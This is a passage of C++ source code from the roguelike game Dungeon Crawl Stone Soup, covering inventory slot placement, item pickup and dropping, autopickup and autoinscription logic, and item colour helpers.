{
if (i == '+')
overwrite = true;
else if (i == '-')
overwrite = false;
else if (isaalpha(i))
{
const int index = letter_to_index(i);
auto &iitem = you.inv[index];
// Slot is empty, or overwrite is on and the rule doesn't
// match the item already there.
if (!iitem.defined()
|| overwrite
&& !mapping.first.matches(iitem.name(DESC_QUALNAME))
&& !mapping.first.matches(item_prefix(iitem)
+ " " + iitem.name(DESC_A)))
{
newslot = index;
break;
}
}
}
if (newslot != -1 && newslot != item.link)
{
swap_inv_slots(item.link, newslot, you.num_turns);
return &you.inv[newslot];
}
}
return nullptr;
}
/**
* Move the given item and quantity to a free slot in the player's inventory.
* If the item_slot option tells us to put it in a specific slot, it will move
* there and push out the item that was in it before instead.
*
* @param it[in] The item to be placed into the player's inventory.
* @param quant_got The quantity of this item to place.
* @param quiet Suppresses pickup messages.
* @return The inventory slot the item was placed in.
*/
static int _place_item_in_free_slot(item_def &it, int quant_got,
bool quiet)
{
int freeslot = find_free_slot(it);
ASSERT_RANGE(freeslot, 0, ENDOFPACK);
ASSERT(!you.inv[freeslot].defined());
item_def &item = you.inv[freeslot];
// Copy item.
item = it;
item.link = freeslot;
item.quantity = quant_got;
item.slot = index_to_letter(item.link);
item.pos = ITEM_IN_INVENTORY;
// Remove "unobtainable" as it was just proven false.
item.flags &= ~ISFLAG_UNOBTAINABLE;
god_id_item(item);
if (item.base_type == OBJ_WANDS)
{
set_ident_type(item, true);
set_ident_flags(item, ISFLAG_KNOW_PLUSES);
}
maybe_identify_base_type(item);
if (item.base_type == OBJ_BOOKS)
set_ident_flags(item, ISFLAG_IDENT_MASK);
note_inscribe_item(item);
if (crawl_state.game_is_hints())
{
taken_new_item(item.base_type);
if (is_artefact(item))
learned_something_new(HINT_SEEN_RANDART);
}
you.m_quiver.on_inv_quantity_changed(freeslot, quant_got);
you.last_pickup[item.link] = quant_got;
item_skills(item, you.start_train);
if (const item_def* newitem = auto_assign_item_slot(item))
return newitem->link;
else if (!quiet)
{
#ifdef USE_SOUND
parse_sound(PICKUP_SOUND);
#endif
mprf_nocap("%s", menu_colour_item_name(item, DESC_INVENTORY).c_str());
}
return item.link;
}
/**
* Move the given item and quantity to the player's inventory.
* DOES NOT change the original item; the caller must handle any cleanup!
*
* @param it[in] The item to be placed into the player's inventory.
* @param quant_got The quantity of this item to place.
* @param inv_slot[out] The inventory slot the item was placed in. -1 if
* not placed.
* @param quiet If true, most messages notifying the player of item pickup (or
* item pickup failure) aren't printed.
* @return Whether something was successfully picked up.
*/
static bool _merge_items_into_inv(item_def &it, int quant_got,
int &inv_slot, bool quiet)
{
inv_slot = -1;
// sanity
if (quant_got > it.quantity || quant_got <= 0)
quant_got = it.quantity;
// Gold has no mass, so we handle it first.
if (it.base_type == OBJ_GOLD)
{
get_gold(it, quant_got, quiet);
return true;
}
if (it.base_type == OBJ_BOOKS && it.sub_type != BOOK_MANUAL)
{
_get_book(it);
return true;
}
// Runes are also massless.
if (it.base_type == OBJ_RUNES)
{
_get_rune(it, quiet);
return true;
}
// The Orb is also handled specially.
if (item_is_orb(it))
{
_get_orb();
return true;
}
// attempt to merge into an existing stack, if possible
if (is_stackable_item(it)
&& _merge_stackable_item_into_inv(it, quant_got, inv_slot, quiet))
{
return true;
}
// attempt to merge into an existing stack, if possible
if (it.base_type == OBJ_WANDS
&& _merge_wand_charges(it, inv_slot, quiet))
{
quant_got = 1;
return true;
}
// Can't combine, check for slot space.
if (inv_count() >= ENDOFPACK)
return false;
inv_slot = _place_item_in_free_slot(it, quant_got, quiet);
return true;
}
void mark_items_non_pickup_at(const coord_def &pos)
{
int item = igrd(pos);
while (item != NON_ITEM)
{
mitm[item].flags |= ISFLAG_DROPPED;
mitm[item].flags &= ~ISFLAG_THROWN;
item = mitm[item].link;
}
}
void clear_item_pickup_flags(item_def &item)
{
item.flags &= ~(ISFLAG_THROWN | ISFLAG_DROPPED | ISFLAG_NO_PICKUP);
}
// Move gold to the the top of a pile if following Gozag.
static void _gozag_move_gold_to_top(const coord_def p)
{
if (have_passive(passive_t::detect_gold))
{
for (int gold = igrd(p); gold != NON_ITEM;
gold = mitm[gold].link)
{
if (mitm[gold].base_type == OBJ_GOLD)
{
unlink_item(gold);
move_item_to_grid(&gold, p, true);
break;
}
}
}
}
// Moves mitm[obj] to p... will modify the value of obj to
// be the index of the final object (possibly different).
//
// Done this way in the hopes that it will be obvious from
// calling code that "obj" is possibly modified.
//
// Returns false on error or level full - cases where you
// keep the item.
bool move_item_to_grid(int *const obj, const coord_def& p, bool silent)
{
ASSERT_IN_BOUNDS(p);
int& ob(*obj);
// Must be a valid reference to a valid object.
if (ob == NON_ITEM || !mitm[ob].defined())
return false;
item_def& item(mitm[ob]);
bool move_below = item_is_stationary(item) && !item_is_stationary_net(item);
if (!silenced(p) && !silent)
feat_splash_noise(grd(p));
if (feat_destroys_items(grd(p)))
{
item_was_destroyed(item);
destroy_item(ob);
ob = NON_ITEM;
return true;
}
// If it's a stackable type or stationary item that's not a net...
int movable_ind = -1;
if (move_below || is_stackable_item(item))
{
// Look for similar item to stack:
for (stack_iterator si(p); si; ++si)
{
// Check if item already linked here -- don't want to unlink it.
if (ob == si->index())
return false;
if (items_stack(item, *si))
{
// Add quantity to item already here, and dispose
// of obj, while returning the found item. -- bwr
inc_mitm_item_quantity(si->index(), item.quantity);
destroy_item(ob);
ob = si->index();
_gozag_move_gold_to_top(p);
if (you.see_cell(p))
{
// XXX: Is it actually necessary to identify when the
// new item merged with a stack?
god_id_item(*si);
maybe_identify_base_type(*si);
}
return true;
}
if (move_below
&& (!item_is_stationary(*si) || item_is_stationary_net(*si)))
{
movable_ind = si->index();
}
}
}
else
ASSERT(item.quantity == 1);
ASSERT(ob != NON_ITEM);
// Need to actually move object, so first unlink from old position.
unlink_item(ob);
// Move item to coord.
item.pos = p;
// Need to move this stationary item to the position in the pile
// below the lowest non-stationary, non-net item.
if (move_below && movable_ind >= 0)
{
item.link = mitm[movable_ind].link;
mitm[movable_ind].link = item.index();
}
// Movable item or no movable items in pile, link item to top of list.
else
{
item.link = igrd(p);
igrd(p) = ob;
}
if (item_is_orb(item))
env.orb_pos = p;
if (item.base_type != OBJ_GOLD)
_gozag_move_gold_to_top(p);
if (you.see_cell(p))
{
god_id_item(item);
maybe_identify_base_type(item);
}
if (p == you.pos() && _id_floor_item(item))
mprf("You see here %s.", item.name(DESC_A).c_str());
return true;
}
void move_item_stack_to_grid(const coord_def& from, const coord_def& to)
{
if (igrd(from) == NON_ITEM)
return;
// Tell all items in stack what the new coordinate is.
for (stack_iterator si(from); si; ++si)
{
si->pos = to;
// Link last of the stack to the top of the old stack.
if (si->link == NON_ITEM && igrd(to) != NON_ITEM)
{
si->link = igrd(to);
break;
}
}
igrd(to) = igrd(from);
igrd(from) = NON_ITEM;
}
// Returns false if no items could be dropped.
bool copy_item_to_grid(item_def &item, const coord_def& p,
int quant_drop, bool mark_dropped, bool silent)
{
ASSERT_IN_BOUNDS(p);
if (quant_drop == 0)
return false;
if (!silenced(p) && !silent)
feat_splash_noise(grd(p));
if (feat_destroys_items(grd(p)))
{
item_was_destroyed(item);
return true;
}
// default quant_drop == -1 => drop all
if (quant_drop < 0)
quant_drop = item.quantity;
// Loop through items at current location.
if (is_stackable_item(item))
{
for (stack_iterator si(p); si; ++si)
{
if (items_stack(item, *si))
{
item_def copy = item;
inc_mitm_item_quantity(si->index(), quant_drop);
if (mark_dropped)
{
// If the items on the floor already have a nonzero slot,
// leave it as such, otherwise set the slot.
if (!si->slot)
si->slot = index_to_letter(item.link);
si->flags |= ISFLAG_DROPPED;
si->flags &= ~ISFLAG_THROWN;
}
return true;
}
}
}
// Item not found in current stack, add new item to top.
int new_item_idx = get_mitm_slot(10);
if (new_item_idx == NON_ITEM)
return false;
item_def& new_item = mitm[new_item_idx];
// Copy item.
new_item = item;
// Set quantity, and set the item as unlinked.
new_item.quantity = quant_drop;
new_item.pos.reset();
new_item.link = NON_ITEM;
if (mark_dropped)
{
new_item.slot = index_to_letter(item.link);
new_item.flags |= ISFLAG_DROPPED;
new_item.flags &= ~ISFLAG_THROWN;
origin_set_unknown(new_item);
}
move_item_to_grid(&new_item_idx, p, true);
return true;
}
coord_def item_pos(const item_def &item)
{
coord_def pos = item.pos;
if (pos == ITEM_IN_MONSTER_INVENTORY)
{
if (const monster *mon = item.holding_monster())
pos = mon->pos();
else
die("item held by an invalid monster");
}
else if (pos == ITEM_IN_INVENTORY)
pos = you.pos();
return pos;
}
/**
* Move the top item of a stack to a new location.
*
* @param pos the location of the stack
* @param dest the position to be moved to
* @return whether there were any items at pos to be moved.
*/
bool move_top_item(const coord_def &pos, const coord_def &dest)
{
int item = igrd(pos);
if (item == NON_ITEM)
return false;
dungeon_events.fire_position_event(
dgn_event(DET_ITEM_MOVED, pos, 0, item, -1, dest), pos);
// Now move the item to its new position...
move_item_to_grid(&item, dest);
return true;
}
const item_def* top_item_at(const coord_def& where)
{
const int link = you.visible_igrd(where);
return (link == NON_ITEM) ? nullptr : &mitm[link];
}
bool multiple_items_at(const coord_def& where)
{
int found_count = 0;
for (stack_iterator si(where); si && found_count < 2; ++si)
++found_count;
return found_count > 1;
}
/**
* Drop an item, possibly starting up a delay to do so.
*
* @param item_dropped the inventory index of the item to drop
* @param quant_drop the number of items to drop, -1 to drop the whole stack.
*
* @return True if we took time, either because we dropped the item
* or because we took a preliminary step (removing a ring, etc.).
*/
bool drop_item(int item_dropped, int quant_drop)
{
item_def &item = you.inv[item_dropped];
if (quant_drop < 0 || quant_drop > item.quantity)
quant_drop = item.quantity;
if (item_dropped == you.equip[EQ_LEFT_RING]
|| item_dropped == you.equip[EQ_RIGHT_RING]
|| item_dropped == you.equip[EQ_AMULET]
|| item_dropped == you.equip[EQ_RING_ONE]
|| item_dropped == you.equip[EQ_RING_TWO]
|| item_dropped == you.equip[EQ_RING_THREE]
|| item_dropped == you.equip[EQ_RING_FOUR]
|| item_dropped == you.equip[EQ_RING_FIVE]
|| item_dropped == you.equip[EQ_RING_SIX]
|| item_dropped == you.equip[EQ_RING_SEVEN]
|| item_dropped == you.equip[EQ_RING_EIGHT]
|| item_dropped == you.equip[EQ_RING_AMULET])
{
if (!Options.easy_unequip)
mpr("You will have to take that off first.");
else if (remove_ring(item_dropped, true))
{
// The delay handles the case where the item disappeared.
start_delay<DropItemDelay>(1, item);
// We didn't actually succeed yet, but remove_ring took time,
// so return true anyway.
return true;
}
return false;
}
if (item_dropped == you.equip[EQ_WEAPON]
&& item.base_type == OBJ_WEAPONS && item.cursed())
{
mprf("%s is stuck to you!", item.name(DESC_THE).c_str());
return false;
}
for (int i = EQ_MIN_ARMOUR; i <= EQ_MAX_ARMOUR; i++)
{
if (item_dropped == you.equip[i] && you.equip[i] != -1)
{
if (!Options.easy_unequip)
mpr("You will have to take that off first.");
else if (check_warning_inscriptions(item, OPER_TAKEOFF))
{
// If we take off the item, cue up the item being dropped
if (takeoff_armour(item_dropped))
{
// The delay handles the case where the item disappeared.
start_delay<DropItemDelay>(1, item);
// We didn't actually succeed yet, but takeoff_armour
// took a turn to start up, so return true anyway.
return true;
}
}
return false;
}
}
// [ds] easy_unequip does not apply to weapons.
//
// Unwield needs to be done before copy in order to clear things
// like temporary brands. -- bwr
if (item_dropped == you.equip[EQ_WEAPON] && quant_drop >= item.quantity)
{
if (!wield_weapon(true, SLOT_BARE_HANDS, true, true, true, false))
return false;
// May have been destroyed by removal. Returning true because we took
// time to swap away.
else if (!item.defined())
return true;
}
ASSERT(item.defined());
if (!copy_item_to_grid(item, you.pos(), quant_drop, true, true))
{
mpr("Too many items on this level, not dropping the item.");
return false;
}
mprf("You drop %s.", quant_name(item, quant_drop, DESC_A).c_str());
// If you drop an item in as a merfolk, it is below the water line and
// makes no noise falling.
if (!you.swimming())
feat_splash_noise(grd(you.pos()));
dec_inv_item_quantity(item_dropped, quant_drop);
you.turn_is_over = true;
you.last_pickup.erase(item_dropped);
if (you.last_unequip == item.link)
you.last_unequip = -1;
return true;
}
void drop_last()
{
vector<SelItem> items_to_drop;
for (const auto &entry : you.last_pickup)
{
const item_def* item = &you.inv[entry.first];
if (item->quantity > 0)
items_to_drop.emplace_back(entry.first, entry.second, item);
}
if (items_to_drop.empty())
mpr("No item to drop.");
else
{
you.last_pickup.clear();
_multidrop(items_to_drop);
}
}
/** Get the equipment slot an item is equipped in. If the item is not
* equipped by the player, return -1 instead.
*
* @param item The item to check.
*
* @returns The equipment slot (equipment_type) the item is in or -1
* (EQ_NONE)
*/
int get_equip_slot(const item_def *item)
{
int worn = -1;
if (item && in_inventory(*item))
{
for (int i = EQ_FIRST_EQUIP; i < NUM_EQUIP; ++i)
{
if (you.equip[i] == item->link)
{
worn = i;
break;
}
}
}
return worn;
}
mon_inv_type get_mon_equip_slot(const monster* mon, const item_def &item)
{
ASSERT(mon->alive());
mon_inv_type slot = item_to_mslot(item);
if (slot == NUM_MONSTER_SLOTS)
return NUM_MONSTER_SLOTS;
if (mon->mslot_item(slot) == &item)
return slot;
if (slot == MSLOT_WEAPON && mon->mslot_item(MSLOT_ALT_WEAPON) == &item)
return MSLOT_ALT_WEAPON;
return NUM_MONSTER_SLOTS;
}
// This has to be of static storage class, so that the value isn't lost when a
// MultidropDelay is interrupted.
static vector<SelItem> items_for_multidrop;
// Arrange items that have been selected for multidrop so that
// equipped items are dropped after other items, and equipped items
// are dropped in the same order as their EQ_ slots are numbered.
static bool _drop_item_order(const SelItem &first, const SelItem &second)
{
const item_def &i1 = you.inv[first.slot];
const item_def &i2 = you.inv[second.slot];
const int slot1 = get_equip_slot(&i1),
slot2 = get_equip_slot(&i2);
if (slot1 != -1 && slot2 != -1)
return slot1 < slot2;
else if (slot1 != -1 && slot2 == -1)
return false;
else if (slot2 != -1 && slot1 == -1)
return true;
return first.slot < second.slot;
}
void set_item_autopickup(const item_def &item, autopickup_level_type ap)
{
you.force_autopickup[item.base_type][_autopickup_subtype(item)] = ap;
}
int item_autopickup_level(const item_def &item)
{
return you.force_autopickup[item.base_type][_autopickup_subtype(item)];
}
static void _disable_autopickup_for_starred_items(vector<SelItem> &items)
{
int autopickup_remove_count = 0;
const item_def *last_touched_item;
for (SelItem &si : items)
{
if (si.has_star && item_autopickup_level(si.item[0]) != AP_FORCE_OFF)
{
last_touched_item = si.item;
++autopickup_remove_count;
set_item_autopickup(*last_touched_item, AP_FORCE_OFF);
}
}
if (autopickup_remove_count == 1)
{
mprf("Autopickup disabled for %s.",
pluralise(last_touched_item->name(DESC_DBNAME)).c_str());
}
else if (autopickup_remove_count > 1)
mprf("Autopickup disabled for %d items.", autopickup_remove_count);
}
/**
* Prompts the user for an item to drop.
*/
void drop()
{
if (inv_count() < 1 && you.gold == 0)
{
canned_msg(MSG_NOTHING_CARRIED);
return;
}
vector<SelItem> tmp_items;
tmp_items = prompt_drop_items(items_for_multidrop);
if (tmp_items.empty())
{
canned_msg(MSG_OK);
return;
}
_disable_autopickup_for_starred_items(tmp_items);
_multidrop(tmp_items);
}
static void _multidrop(vector<SelItem> tmp_items)
{
// Sort the dropped items so we don't see weird behaviour when
// dropping a worn robe before a cloak (old behaviour: remove
// cloak, remove robe, wear cloak, drop robe, remove cloak, drop
// cloak).
sort(tmp_items.begin(), tmp_items.end(), _drop_item_order);
// If the user answers "no" to an item an with a warning inscription,
// then remove it from the list of items to drop by not copying it
// over to items_for_multidrop.
items_for_multidrop.clear();
for (SelItem& si : tmp_items)
{
const int item_quant = si.item->quantity;
// EVIL HACK: Fix item quantity to match the quantity we will drop,
// in order to prevent misleading messages when dropping
// 15 of 25 arrows inscribed with {!d}.
if (si.quantity && si.quantity != item_quant)
const_cast<item_def*>(si.item)->quantity = si.quantity;
// Check if we can add it to the multidrop list.
bool warning_ok = check_warning_inscriptions(*(si.item), OPER_DROP);
// Restore the item quantity if we mangled it.
if (item_quant != si.item->quantity)
const_cast<item_def*>(si.item)->quantity = item_quant;
if (warning_ok)
items_for_multidrop.push_back(si);
}
if (items_for_multidrop.empty()) // no items.
{
canned_msg(MSG_OK);
return;
}
if (items_for_multidrop.size() == 1) // only one item
{
drop_item(items_for_multidrop[0].slot, items_for_multidrop[0].quantity);
items_for_multidrop.clear();
}
else
start_delay<MultidropDelay>(items_for_multidrop.size(), items_for_multidrop);
}
static void _autoinscribe_item(item_def& item)
{
// If there's an inscription already, do nothing - except
// for automatically generated inscriptions
if (!item.inscription.empty())
return;
const string old_inscription = item.inscription;
item.inscription.clear();
string iname = _autopickup_item_name(item);
for (const auto &ai_entry : Options.autoinscriptions)
{
if (ai_entry.first.matches(iname))
{
// Don't autoinscribe dropped items on ground with
// "=g". If the item matches a rule which adds "=g",
// "=g" got added to it before it was dropped, and
// then the user explicitly removed it because they
// don't want to autopickup it again.
string str = ai_entry.second;
if ((item.flags & ISFLAG_DROPPED) && !in_inventory(item))
str = replace_all(str, "=g", "");
// Note that this might cause the item inscription to
// pass 80 characters.
item.inscription += str;
}
}
if (!old_inscription.empty())
{
if (item.inscription.empty())
item.inscription = old_inscription;
else
item.inscription = old_inscription + ", " + item.inscription;
}
}
static void _autoinscribe_floor_items()
{
for (stack_iterator si(you.pos()); si; ++si)
_autoinscribe_item(*si);
}
static void _autoinscribe_inventory()
{
for (auto &item : you.inv)
if (item.defined())
_autoinscribe_item(item);
}
bool need_to_autoinscribe()
{
return will_autoinscribe;
}
void request_autoinscribe(bool do_inscribe)
{
will_autoinscribe = do_inscribe;
}
void autoinscribe()
{
_autoinscribe_floor_items();
_autoinscribe_inventory();
will_autoinscribe = false;
}
/**
* Resolve an item's subtype to an appropriate value for autopickup.
* @param item The item to check.
* @returns The actual sub_type for items that either have an identified
* sub_type or where the sub_type is always known. Otherwise the value of the
* max subtype.
*/
static int _autopickup_subtype(const item_def &item)
{
// Sensed items.
if (item.base_type >= NUM_OBJECT_CLASSES)
return MAX_SUBTYPES - 1;
const int max_type = get_max_subtype(item.base_type);
// item_infos of unknown subtype.
if (max_type > 0 && item.sub_type >= max_type)
return max_type;
// Only where item_type_known() refers to the subtype (as opposed to the
// brand, for example) do we have to check it. For weapons etc. we always
// know the subtype.
switch (item.base_type)
{
case OBJ_WANDS:
case OBJ_SCROLLS:
case OBJ_JEWELLERY:
case OBJ_POTIONS:
case OBJ_STAVES:
return item_type_known(item) ? item.sub_type : max_type;
case OBJ_BOOKS:
if (item.sub_type == BOOK_MANUAL || item_type_known(item))
return item.sub_type;
else
return max_type;
#if TAG_MAJOR_VERSION == 34
case OBJ_RODS:
#endif
case OBJ_GOLD:
case OBJ_RUNES:
return max_type;
default:
return item.sub_type;
}
}
static bool _is_option_autopickup(const item_def &item, bool ignore_force)
{
if (item.base_type < NUM_OBJECT_CLASSES)
{
const int force = item_autopickup_level(item);
if (!ignore_force && force != AP_FORCE_NONE)
return force == AP_FORCE_ON;
}
else
return false;
// the special-cased gold here is because this call can become very heavy
// for gozag players under extreme circumstances
const string iname = item.base_type == OBJ_GOLD
? "{gold}"
: _autopickup_item_name(item);
#ifdef CLUA_BINDINGS
maybe_bool res = clua.callmaybefn("ch_force_autopickup", "is",
&item, iname.c_str());
if (!clua.error.empty())
{
mprf(MSGCH_ERROR, "ch_force_autopickup failed: %s",
clua.error.c_str());
}
if (res == MB_TRUE)
return true;
if (res == MB_FALSE)
return false;
#endif
// Check for initial settings
for (const pair<text_pattern, bool>& option : Options.force_autopickup)
if (option.first.matches(iname))
return option.second;
return Options.autopickups[item.base_type];
}
/** Is the item something that we should try to autopickup?
*
* @param ignore_force If true, ignore force_autopickup settings from the
* \ menu (default false).
* @return True if the object should be picked up.
*/
bool item_needs_autopickup(const item_def &item, bool ignore_force)
{
if (in_inventory(item))
return false;
if (item_is_stationary(item))
return false;
if (item.inscription.find("=g") != string::npos)
return true;
if ((item.flags & ISFLAG_THROWN) && Options.pickup_thrown)
return true;
if (item.flags & ISFLAG_DROPPED)
return false;
if (item.props.exists("needs_autopickup"))
return true;
return _is_option_autopickup(item, ignore_force);
}
bool can_autopickup()
{
// [ds] Checking for autopickups == 0 is a bad idea because
// autopickup is still possible with inscriptions and
// pickup_thrown.
if (Options.autopickup_on <= 0)
return false;
if (!i_feel_safe())
return false;
return true;
}
typedef bool (*item_comparer)(const item_def& pickup_item,
const item_def& inv_item);
static bool _identical_types(const item_def& pickup_item,
const item_def& inv_item)
{
return pickup_item.is_type(inv_item.base_type, inv_item.sub_type);
}
static bool _similar_equip(const item_def& pickup_item,
const item_def& inv_item)
{
const equipment_type inv_slot = get_item_slot(inv_item);
if (inv_slot == EQ_NONE)
return false;
// If it's an unequipped cursed item the player might be looking
// for a replacement.
if (item_known_cursed(inv_item) && !item_is_equipped(inv_item))
return false;
if (get_item_slot(pickup_item) != inv_slot)
return false;
// Just filling the same slot is enough for armour to be considered
// similar.
if (pickup_item.base_type == OBJ_ARMOUR)
return true;
return item_attack_skill(pickup_item) == item_attack_skill(inv_item)
&& get_damage_type(pickup_item) == get_damage_type(inv_item);
}
static bool _similar_wands(const item_def& pickup_item,
const item_def& inv_item)
{
if (inv_item.base_type != OBJ_WANDS)
return false;
if (pickup_item.sub_type != inv_item.sub_type)
return false;
#if TAG_MAJOR_VERSION == 34
// Not similar if wand in inventory is empty.
return !is_known_empty_wand(inv_item);
#else
return true;
#endif
}
static bool _similar_jewellery(const item_def& pickup_item,
const item_def& inv_item)
{
if (inv_item.base_type != OBJ_JEWELLERY)
return false;
if (pickup_item.sub_type != inv_item.sub_type)
return false;
// For jewellery of the same sub-type, unidentified jewellery is
// always considered similar, as is identified jewellery whose
// effect doesn't stack.
return !item_type_known(inv_item)
|| (!jewellery_is_amulet(inv_item)
&& !ring_has_stackable_effect(inv_item));
}
static bool _item_different_than_inv(const item_def& pickup_item,
item_comparer comparer)
{
return none_of(begin(you.inv), end(you.inv),
[&] (const item_def &inv_item) -> bool
{
return inv_item.defined()
&& comparer(pickup_item, inv_item);
});
}
static bool _interesting_explore_pickup(const item_def& item)
{
if (!(Options.explore_stop & ES_GREEDY_PICKUP_MASK))
return false;
if (item.base_type == OBJ_GOLD)
return Options.explore_stop & ES_GREEDY_PICKUP_GOLD;
if ((Options.explore_stop & ES_GREEDY_PICKUP_THROWN)
&& (item.flags & ISFLAG_THROWN))
{
return true;
}
vector<text_pattern> &ignores = Options.explore_stop_pickup_ignore;
if (!ignores.empty())
{
const string name = item.name(DESC_PLAIN);
for (const text_pattern &pat : ignores)
if (pat.matches(name))
return false;
}
if (!(Options.explore_stop & ES_GREEDY_PICKUP_SMART))
return true;
// "Smart" code follows.
// If ES_GREEDY_PICKUP_THROWN isn't set, then smart greedy pickup
// will ignore thrown items.
if (item.flags & ISFLAG_THROWN)
return false;
if (is_artefact(item))
return true;
// Possbible ego items.
if (!item_type_known(item) && (item.flags & ISFLAG_COSMETIC_MASK))
return true;
switch (item.base_type)
{
case OBJ_WEAPONS:
case OBJ_MISSILES:
case OBJ_ARMOUR:
// Ego items.
if (item.brand != 0)
return true;
break;
default:
break;
}
switch (item.base_type)
{
case OBJ_WEAPONS:
case OBJ_ARMOUR:
return _item_different_than_inv(item, _similar_equip);
case OBJ_WANDS:
return _item_different_than_inv(item, _similar_wands);
case OBJ_JEWELLERY:
return _item_different_than_inv(item, _similar_jewellery);
case OBJ_MISCELLANY:
case OBJ_SCROLLS:
case OBJ_POTIONS:
case OBJ_STAVES:
// Item is boring only if there's an identical one in inventory.
return _item_different_than_inv(item, _identical_types);
case OBJ_BOOKS:
// Books always start out unidentified.
return true;
case OBJ_ORBS:
// Orb is always interesting.
return true;
case OBJ_RUNES:
// Runes are always interesting.
return true;
default:
break;
}
return false;
}
static void _do_autopickup()
{
bool did_pickup = false;
int n_did_pickup = 0;
int n_tried_pickup = 0;
// Store last_pickup in case we need to restore it.
// Then clear it to fill with items picked up.
map<int,int> tmp_l_p = you.last_pickup;
you.last_pickup.clear();
int o = you.visible_igrd(you.pos());
string pickup_warning;
while (o != NON_ITEM)
{
const int next = mitm[o].link;
item_def& mi = mitm[o];
if (item_needs_autopickup(mi))
{
// Do this before it's picked up, otherwise the picked up
// item will be in inventory and _interesting_explore_pickup()
// will always return false.
const bool interesting_pickup
= _interesting_explore_pickup(mi);
const iflags_t iflags(mi.flags);
if ((iflags & ISFLAG_THROWN))
learned_something_new(HINT_AUTOPICKUP_THROWN);
clear_item_pickup_flags(mi);
const bool pickup_result = move_item_to_inv(o, mi.quantity);
if (pickup_result)
{
did_pickup = true;
if (interesting_pickup)
n_did_pickup++;
}
else
{
n_tried_pickup++;
pickup_warning = "Your pack is full.";
mi.flags = iflags;
}
}
o = next;
}
if (!pickup_warning.empty())
mpr(pickup_warning);
if (did_pickup)
you.turn_is_over = true;
if (you.last_pickup.empty())
you.last_pickup = tmp_l_p;
item_check();
explore_pickup_event(n_did_pickup, n_tried_pickup);
}
void autopickup(bool forced)
{
_autoinscribe_floor_items();
will_autopickup = false;
// pick up things when forced (by input ;;), or when you feel save
if (forced || can_autopickup())
_do_autopickup();
else
item_check();
}
int inv_count()
{
return count_if(begin(you.inv), end(you.inv), mem_fn(&item_def::defined));
}
// sub_type == -1 means look for any item of the class
item_def *find_floor_item(object_class_type cls, int sub_type)
{
for (int y = 0; y < GYM; ++y)
for (int x = 0; x < GXM; ++x)
for (stack_iterator si(coord_def(x,y)); si; ++si)
if (si->defined()
&& (si->is_type(cls, sub_type)
|| si->base_type == cls && sub_type == -1)
&& !(si->flags & ISFLAG_MIMIC))
{
return &*si;
}
return nullptr;
}
int item_on_floor(const item_def &item, const coord_def& where)
{
// Check if the item is on the floor and reachable.
for (int link = igrd(where); link != NON_ITEM; link = mitm[link].link)
if (&mitm[link] == &item)
return link;
return NON_ITEM;
}
int get_max_subtype(object_class_type base_type)
{
static int max_subtype[] =
{
NUM_WEAPONS,
NUM_MISSILES,
NUM_ARMOURS,
NUM_WANDS,
#if TAG_MAJOR_VERSION == 34
NUM_FOODS,
#endif
NUM_SCROLLS,
NUM_JEWELLERY,
NUM_POTIONS,
NUM_BOOKS,
NUM_STAVES,
1, // Orbs -- only one
NUM_MISCELLANY,
-1, // corpses -- handled specially
1, // gold -- handled specially
#if TAG_MAJOR_VERSION == 34
NUM_RODS,
#endif
NUM_RUNE_TYPES,
};
COMPILE_CHECK(ARRAYSZ(max_subtype) == NUM_OBJECT_CLASSES);
ASSERT_RANGE(base_type, 0, NUM_OBJECT_CLASSES);
return max_subtype[base_type];
}
equipment_type item_equip_slot(const item_def& item)
{
if (!in_inventory(item))
return EQ_NONE;
for (int i = EQ_FIRST_EQUIP; i < NUM_EQUIP; i++)
if (item.link == you.equip[i])
return static_cast<equipment_type>(i);
return EQ_NONE;
}
// Includes melded items.
bool item_is_equipped(const item_def &item, bool quiver_too)
{
return item_equip_slot(item) != EQ_NONE
|| quiver_too && item_is_quivered(item);
}
bool item_is_melded(const item_def& item)
{
equipment_type eq = item_equip_slot(item);
return eq != EQ_NONE && you.melded[eq];
}
////////////////////////////////////////////////////////////////////////
// item_def functions.
bool item_def::has_spells() const
{
return item_is_spellbook(*this) && item_type_known(*this);
}
bool item_def::cursed() const
{
return flags & ISFLAG_CURSED;
}
bool item_def::launched_by(const item_def &launcher) const
{
if (base_type != OBJ_MISSILES)
return false;
const missile_type mt = fires_ammo_type(launcher);
return sub_type == mt || (mt == MI_STONE && sub_type == MI_SLING_BULLET);
}
int item_def::index() const
{
return this - mitm.buffer();
}
int item_def::armour_rating() const
{
if (!defined() || base_type != OBJ_ARMOUR)
return 0;
return property(*this, PARM_AC) + plus;
}
monster* item_def::holding_monster() const
{
if (pos != ITEM_IN_MONSTER_INVENTORY)
return nullptr;
const int midx = link - NON_ITEM - 1;
if (invalid_monster_index(midx))
return nullptr;
return &menv[midx];
}
void item_def::set_holding_monster(const monster& mon)
{
pos = ITEM_IN_MONSTER_INVENTORY;
link = NON_ITEM + 1 + mon.mindex();
}
// Note: should not check menv, since it may be called by link_items() from
// tags.cc before monsters are unmarshalled.
bool item_def::held_by_monster() const
{
return pos == ITEM_IN_MONSTER_INVENTORY
&& !invalid_monster_index(link - NON_ITEM - 1);
}
// Note: This function is to isolate all the checks to see if
// an item is valid (often just checking the quantity).
//
// It shouldn't be used a a substitute for those cases
// which actually want to check the quantity (as the
// rules for unused objects might change).
bool item_def::defined() const
{
return base_type != OBJ_UNASSIGNED && quantity > 0;
}
/**
* Has this item's appearance been initialized?
*/
bool item_def::appearance_initialized() const
{
return rnd != 0 || is_unrandom_artefact(*this);
}
/**
* Assuming this item is a randart weapon/armour, what colour is it?
*/
colour_t item_def::randart_colour() const
{
ASSERT(is_artefact(*this));
static colour_t colours[] = { YELLOW, LIGHTGREEN, LIGHTRED, LIGHTMAGENTA };
return colours[rnd % ARRAYSZ(colours)];
}
/**
* Assuming this item is a weapon, what colour is it?
*/
colour_t item_def::weapon_colour() const
{
ASSERT(base_type == OBJ_WEAPONS);
// random artefact
if (is_artefact(*this))
return randart_colour();
if (is_demonic(*this))
return LIGHTRED;
switch (item_attack_skill(*this))
{
case SK_BOWS:
return BLUE;
case SK_CROSSBOWS:
return LIGHTBLUE;
case SK_THROWING:
return WHITE;
case SK_SLINGS:
return BROWN;
case SK_SHORT_BLADES:
return CYAN;
case SK_LONG_BLADES:
return LIGHTCYAN;
case SK_AXES:
return MAGENTA;
case SK_MACES_FLAILS:
return LIGHTGREY;
case SK_POLEARMS:
return RED;
case SK_STAVES:
return GREEN;
default:
die("Unknown weapon attack skill %d", item_attack_skill(*this));
// XXX: give more info!
}
}
/**
* Assuming this item is a missile (stone/arrow/bolt/etc), what colour is it?
*/
colour_t item_def::missile_colour() const
{
ASSERT(base_type == OBJ_MISSILES);
// TODO: move this into item-prop.cc
switch (sub_type)
{
case MI_STONE:
return BROWN;
